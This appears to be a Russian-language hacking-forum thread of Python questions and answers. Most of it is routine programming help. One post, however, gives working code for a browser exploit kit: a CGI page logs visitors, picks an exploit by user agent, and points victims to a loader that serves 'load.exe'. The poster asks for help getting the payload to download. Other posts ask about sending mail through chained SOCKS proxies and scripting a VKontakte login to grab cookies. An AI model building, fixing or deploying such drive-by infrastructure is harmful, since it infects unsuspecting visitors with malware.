[Python] вопрос/ответ.

Discussion in 'Python' started by De-visible, 21 Jan 2009.

  1. !Knyaz2010!

    !Knyaz2010! Member

    Joined:
    24 Jun 2010
    Messages:
    57
    Likes Received:
    5
    Reputations:
    5
    Я почему то думал будет намного больше, если чесно. Просто в моем первом варианте если маски использовать только для t=2 выходило около 4 тис варианов)) а теперь понял что реально не сильно много получается, спасибо за помощь еще раз!!!
     
  2. Megido

    Megido New Member

    Joined:
    3 Jun 2010
    Messages:
    41
    Likes Received:
    1
    Reputations:
    0
    OpenGL

    Помогите прилепить текстуру, сделал все по мануалу а выходит хрень. Вместо того чтоб заполнить квадратик налезает на линии ,причем каждый раз по разному
    Пы.Сы шафл тут ни причем
    Скрипт на питоне, пое S60
    http://upwap.ru/1422723
     
  3. NeW

    NeW New Member

    Joined:
    9 Feb 2011
    Messages:
    50
    Likes Received:
    0
    Reputations:
    0
    Подскажите, пожалуйста, как реализовать отправку данных с формы на мыло :)
     
  4. .::f-duck::.

    .::f-duck::. Member

    Joined:
    30 May 2009
    Messages:
    343
    Likes Received:
    32
    Reputations:
    7
    http://docs.djangoproject.com/en/1.3/topics/forms/
     
  5. Alex_Dreyk

    Alex_Dreyk Member

    Joined:
    28 Oct 2010
    Messages:
    31
    Likes Received:
    7
    Reputations:
    0
    Всем привет.
    недавно совсем решил получше узнать данный язык, и попутно разбирался с эксплойтами.
    Случайно натолкнулся на проект 2009 года в хакере где описывалось как создать связку сплойтов.
    Вроде быстро все поставил как описывалось нашел пару эксплойтов вставил, как там и описано происходит срабатывание но оно и понятно там элементарно это происходит но суть в том что при срабатывании эксплойт не хочет подгружать нужный файл.
    вот код:
    import msvcrt

    msvcrt.setmode(sys.stdout.fileno(), os.O_BINARY)

    Далее следуют обычные строчки с типом контента и вывод в буфер вывода:

    sys.stdout.write( \

    file(r"./data/load.exe", "rb").read() )

    Кстати если что вот ссылка там подробно все и расписано: Ссылка
     
  6. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    Alex_Dreyk если вы работаете не на винде - эту строчку можете проигнорировать
     
    _________________________
    1 person likes this.
  7. Alex_Dreyk

    Alex_Dreyk Member

    Joined:
    28 Oct 2010
    Messages:
    31
    Likes Received:
    7
    Reputations:
    0
    В том то и дело что все работает на винде.
    Постараюсь вкратце объяснить суть дела. На серваке у нас есть индексная страница:
    PHP:
    #!/usr/bin/python
    # -*- coding: utf-8 -*-

    import os
    import sqlite3
    import pygeoip

    url 
    'http://sploit/python/load.py'

    ip os.environ.get("REMOTE_ADDR",'127.0.0.1')
    ua os.environ.get("HTTP_USER_AGENT",'')
    rf os.environ.get("HTTP_REFERER",'')

    gi pygeoip.GeoIP('./pygeoip/GeoIP.dat')
    cc gi.country_code_by_addr(ip)

    conn sqlite3.connect('./data/base.db')
    conn.execute('INSERT INTO enter (ip, ua, rf, cc) VALUES (?,?,?,?)',(ip,ua,rf,cc))
    conn.commit()
    conn.close()

    for 
    fname in os.listdir('sploits'):
    #Перебираем все файлы из папки sploits
        
    if fname.endswith('.py'):
        
    #Если файл заканчивается на '.py'
            
    plugin_name fname[:-3]
            
    #Обрезаем последние 3 буквы
            
    if plugin_name != '__init__':
            
    #Если имя файла не '__init__'
                
    plugins __import__('sploits.'+plugin_name)
                
    #Загружаем плагин в переменную
                
    plugin getattr(plugins,plugin_name)
                
    #Достаем плагин с переменной
                
    if plugin.init(ua):
                
    #если на входе 1 то запускаем
                    
    plugin.run(url)
                    exit()
    #иначе страница с ошибкой
    print 'Status: 404 Not Found'
    print 'Content-type: text/html'
    print
    print 
    'Not Found'
    Url у нас ссылается на:
    PHP:
    !/usr/bin/python
    # -*- coding: utf-8 -*-

    import os,sys
    import sqlite3
    import pygeoip
    from StringIO import StringIO

    ip 
    os.environ.get("REMOTE_ADDR",'127.0.0.1')
    ua os.environ.get("HTTP_USER_AGENT",'')
    rf os.environ.get("HTTP_REFERER",'')

    gi pygeoip.GeoIP('./pygeoip/GeoIP.dat')
    cc gi.country_code_by_addr(ip)

    conn sqlite3.connect('./data/base.db')
    conn.execute('INSERT INTO load (ip, ua, rf, cc) VALUES (?,?,?,?)',(ip,ua,rf,cc))
    conn.commit()
    conn.close()


    try: 
    # Windows only
        
    import msvcrt
        msvcrt
    .setmode(sys.stdout.fileno(), os.O_BINARY)
    except ImportErrorpass

    print 'Content-Type: application/x-octetstream'
    print 'Content-Disposition: plugin; filename=load.exe'
    print 'Content-Title: load.exe'
    print 

    sys.stdout.writefile(r"./data/load.exe""rb").read() )
    Так вот во первых при срабатывании эксплойта а он реально срабатывает, у нас должен приступить к работе второй код который лежит в отдельном файле НО ничего подобного не происходит. Эксплойт например просто накрывает браузер и все на этом и конец(((((
    Из-за чего так происходит?
    Вот на всяк случай еще код файла с эксплойтом:
    PHP:
    def init(ua):
      if 
    ua.find ('Windows NT') and ua.find ('Presto/2.6.3'):
        return 
    1
      
    return 0

    def run
    (url):
      print 
    "Content-type: text/html"
      
    print 
      print 
    '''(код эксплойта)'''
    Может я конечно не допонял но файл который содержит эксплойт должен выглядеть как последний код, то есть из двух функций которая как раз возвращает единицу и соответственно запуска эксплойта.
     
    #847 Alex_Dreyk, 10 May 2011
    Last edited: 10 May 2011
  8. skM

    skM New Member

    Joined:
    27 Jun 2010
    Messages:
    20
    Likes Received:
    1
    Reputations:
    0
    Входные данные: В единственной строке входного файла INPUT.TXT записано два натуральных числа через пробел
    Выходные данные: В единственную строку выходного файла OUTPUT.TXT нужно вывести одно целое число — сумму чисел А и В

    Чем короче и быстрее кодес - тем лучше. Вот, что я написал.
    Как можно реализовать закрытие файлов ?
     
  9. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    skM а нафига вам короче и быстрее? Короче будет так:
    Code:
    open('output.txt','wb').write(sum(map( int,open('input.txt','rb').read().trim().split() )))
    Они закрываются сами
     
    _________________________
  10. skM

    skM New Member

    Joined:
    27 Jun 2010
    Messages:
    20
    Likes Received:
    1
    Reputations:
    0
    Code:
    open('output.txt','wb').write(sum(map( int,open('input.txt','rb').read().trim().split() )))
    только перед sum еще нужно же str()
    а так да, спасибо.
     
  11. De-visible

    De-visible [NDC] Network develope c0ders

    Joined:
    6 Jan 2008
    Messages:
    916
    Likes Received:
    550
    Reputations:
    66
    tfile = open('file.txt','rb')
    tfile.close()
     
  12. skM

    skM New Member

    Joined:
    27 Jun 2010
    Messages:
    20
    Likes Received:
    1
    Reputations:
    0
    это ты клево пошутил =\
    а еще какие варианты есть ?
     
  13. sibiyar

    sibiyar New Member

    Joined:
    11 Nov 2010
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Приветствую.
    Имеется такой вопрос.
    -------
    Вводная.
    С помошью smtplib отправляю письма.
    Нужно научить отправлять письма через сокс прокси.
    Если сокс через который отправляется письмо указывается явно
    то отправляется нормально .

    А вот если сокс использует цепочку прокси - ничего не работает.

    Задача.
    У меня вопрос как можно узнать ip и port сокса который является последним в цепочке ???
     
  14. SterhTG

    SterhTG Elder - Старейшина

    Joined:
    14 Apr 2008
    Messages:
    87
    Likes Received:
    11
    Reputations:
    0
    Доброе время суток уважаемые.
    Прошу подсказать верное направление в создании небольшого скрипта(куски уже обсуждали тут).
    Суть скрипта такова, он считывает некоторые параметры с веб страниц( для считывания надо залогониться) а затем ложит их в бд откуда это отображается при помощи пхп.
    Существует несколько типов "считывателей" и в зависимости от параметров ( коих 2) выбирается необходимый считываетель.
    На основе моего опыта я бы сделал некую функцию откуда проверялся бы параметр, а затем вызывалась функция нужного считывателя.
    Хочется узнать у более опытных, каков будет оптимальный вариант реализации данного проекта( если учесть что необходимо будет получать данные с 20-30 страницб при помощи 3-7 считывателей)?
    Мне необходимо повысить стабильность, снизив время исполнения и объём памяти.
    Что можете посоветывать?

    а также вопрос по реализации функции по обновлению счетчика.
    содал функицю передаю туда номер счётчика, его значение и переменную содержащую соединение. Ругается что тип неизвестен. Как реализовать это правельно?
    Code:
    
    import MySQLdb
    
    def updcntr(cntname,cntval, dbO):
        sqlq = 'UPDATE Counters SET `value` = %d where `nname`= "%s" ' % (cntval, cntname)
       dbO..query(sqlq)
    
    
    
    
    db = MySQLdb.connect("192.168.13.1","test","test","test" )
    sql = 'SELECT * FROM Counters'
    db.query(sql)
    r = db.store_result()
    for row in r.fetch_row(100):
        wval.append([row[2],row[3]])
    
    
    
    
     
    #854 SterhTG, 20 Jun 2011
    Last edited: 20 Jun 2011
  15. FewG

    FewG Member

    Joined:
    25 Dec 2009
    Messages:
    136
    Likes Received:
    12
    Reputations:
    0
    Такой вопрос, тыпаюсь отпарсить хтмл страницу. Пока страница так сказать "тестовая" т.е маленькая и не изобилует кодом, всё работает, но когда начинаю парсить более-менее весомые сайты отказывается работать, мол кривые стартовые теги.

    Код самого парсера:

    Code:
    from urllib import request
    from html.parser import HTMLParser, HTMLParseError
    
    URL = "http://mds.podfm.ru/150/"
    
    class MDSParser(HTMLParser):
        inHeading = False
     
        def handle_starttag(self, tag, attrs):
            if tag == "h1":
                self.inHeading = True
          
        def handle_data(self, data):
            if self.inHeading:
                print (data)
     
        def handle_endtag(self, tag):
            if tag == "h1":
                self.inHeading = False
    
    
    def openPage(URL):
        print("[-] Trying to open " + URL)
        try:
            quellcode = request.urlopen(URL).read()        
            print("[+] Successful") 
            
            return str(quellcode)    
        except:
            print("[-] Error while opening URL")     
       
    def main():
        toParse = openPage(URL)
           
    #    f = open("qc.txt".encode("utf-8"), "wb")
    #    f.write(toParse)
    #    f.close()
        
        podcast = MDSParser()
        try:
            podcast.feed(toParse)
            podcast.close()
        except HTMLParseError as e:
            print("[-] Error while parsing: " + str(e))
    
    if __name__ == '__main__':
        main()
    
    Ошибка:

    Code:
    malformed start tag, at line 1, column 430
    А там => xb0. "\xd

    Вообщем хезе. :rolleyes:
     
  16. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    FewG Далеко не все HTML страницы строго следуют стандартам. Попробуйте так
    Code:
    podcast = MDSParser(True)
    Плюс не следует преобразовывать utf8 текст с помощью str. Лучше делать так:
    Code:
    def openPage(URL):
        print("[-] Trying to open " + URL)
        try:
            quellcode = request.urlopen(URL).read()        
            print("[+] Successful") 
            
            return quellcode.decode('utf-8', 'replace')
        except:
            print("[-] Error while opening URL")    
     
    _________________________
    1 person likes this.
  17. Kupa

    Kupa Banned

    Joined:
    11 Jun 2009
    Messages:
    17
    Likes Received:
    0
    Reputations:
    0
    Авторизация вконтакте. Как залогиниться и получить куку?

    Смотрел запросы в wireshark и google chrome

    и всё равно, вот такой код:
    Code:
    def getCookie (email,password):
        host = 'http://vkontakte.ru/'
        headers = {'User-Agent' : 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 (.NET CLR 3.5.30729)',
        'Host' : 'login.vk.com',
        'Referer' : 'http://vkontakte.ru/',
        'Connection' : 'keep-alive',
        'Pragma' : 'no-cache',
        'Cache-Control' : 'no-cache',
        }
        data = urllib2.urlopen(host)
        answer=data.read()
        print answer
        sValue = re.findall(r"ip_h: '.*?'", answer)
        print sValue
        hashed = re.findall(r"'.*?'",sValue[0])
        print hashed
        print hashed[0][1:-1]
        data = urllib2.urlopen('http://login.vk.com/?al_frame=1&from_host=vkontakte.ru&ip_h='+hashed[0][1:-1])
        print data.read()
        data = urllib2.urlopen('http://vkontakte.ru/login.php?act=slogin&al_frame=1&auto=1&to=')
        print data.read()
        host = 'http://login.vk.com/'
        headers = {'User-Agent' : 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13',
                       'Host' : 'login.vk.com',
                       'Referer' : 'http://vkontakte.ru',
                       'Connection' : 'close',
                       'Cookie' : 'remixlang=0; remixchk=5; remixsid=;',
                       'Pragma' : 'no-cache',
                       'Cache-Control' : 'no-cache'
                      }
        post = urllib.urlencode({ 'act':'login',
            'q':'1',
            'al_frame':'1',
            'expire':'',
            'captcha_sid':'',
            'captcha_key':'',
            'from_host':'vkontakte.ru',
            'ip_h': hashed[0][1:-1],
            'email': email,
            'pass':password})
        conn = urllib2.Request(host,post,headers)
        data = urllib2.urlopen(conn)
        cookie_src = data.info().get('Set-Cookie')
        print data.info()
        cookie = re.sub(r'(expires=.*?;\s|path=\/;\s|domain=\.vkontakte\.ru(?:,\s)?)', '', cookie_src)
        return cookie
    
    Код с подсветкой .

    выдаёт 403 при передачи POST-запроса с валидными логином и паролем.

    Теоретически можно обойтись и без:
    Code:
     data = urllib2.urlopen('http://login.vk.com/?al_frame=1&from_host=vkontakte.ru&ip_h='+hashed[0][1:-1]) 
    print data.read()
    data = urllib2.urlopen('http://vkontakte.ru/login.php?act=slogin&al_frame=1&auto=1&to=')
    print data.read()
    но эти запросы были, судя по логу :)

    ЧЯДНТ?
     
  18. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    Kupa то что вы делаете не так, так это вы пишете на каком угодно языке, но не на питоне. Чтобы скрипт заработал - уберите строчки 'Host': 'url'. А чтобы всегда все работало - научитесь пользоваться модулями cookielib и re
     
    _________________________
  19. Kupa

    Kupa Banned

    Joined:
    11 Jun 2009
    Messages:
    17
    Likes Received:
    0
    Reputations:
    0
    спасибо. Косяк был в хосте :)
     
  20. Izengardjke

    Izengardjke New Member

    Joined:
    1 Jun 2011
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Имеется код, выполняющий набор функций (в моем самоучительном варианте это система регистрации аккаунтов и администрирование их). Для выбора нужного действия я ввожу цифру и т.д. Мне нужно, чтобы после введения цифры и выполнения кода, выполнение кода не заканчиволось (по логике он и должен заканчиваться, т.к. больше условий нет), а возвращалось на пару пунктов назад.
    Code:
    #стартовая точка
    input = ()
    if startch == '1':
          #что-то происходит
          #возвращается на стартовую точку
    Надеюсь, понятно объяснил.
    Как это можно реализовать?